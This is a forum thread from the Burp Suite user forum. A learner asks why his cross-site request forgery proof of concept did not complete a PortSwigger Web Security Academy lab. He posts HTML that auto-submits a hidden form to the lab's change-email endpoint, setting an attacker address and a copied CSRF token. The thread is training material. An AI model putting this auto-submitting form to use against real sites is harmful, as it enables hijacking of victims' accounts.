Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CSRF where token is duplicated in cookie

jack | Last updated: Aug 16, 2022 12:42PM UTC

hi iv been going through the labs started of doing the easy ones know im on the practitioner level labs but iv came across two that im positive iv done what it asked, by sending a page to a victim that automaticly changs the email address to another, my code is this <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a3c007a046cad5cc0710ae9008400d5.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="weiner&#64;evil&#46;com" /> <input type="hidden" name="csrf" value="KSDgd1M127Pt6519TITTdoiZaI1QxWPN" /> <input type="submit" value="Submit request" /> </form><img src="https://0a3c007a046cad5cc0710ae9008400d5.web-security-academy.net" onerror="document.forms[0].submit();"/> <script> document.forms[1].submit(); </script> </body> </html> iv tested it again and again even messed around putting the <script> in difrent places to make it automated or clickable, but this changes the email on the lab but iv not got my banner, could someone tell me what iv done wrong, for the life of me, i can not see it, iv spent two three hours racking my brain to solve why my banner not appearing, please help

Michelle, PortSwigger Agent | Last updated: Aug 16, 2022 01:58PM UTC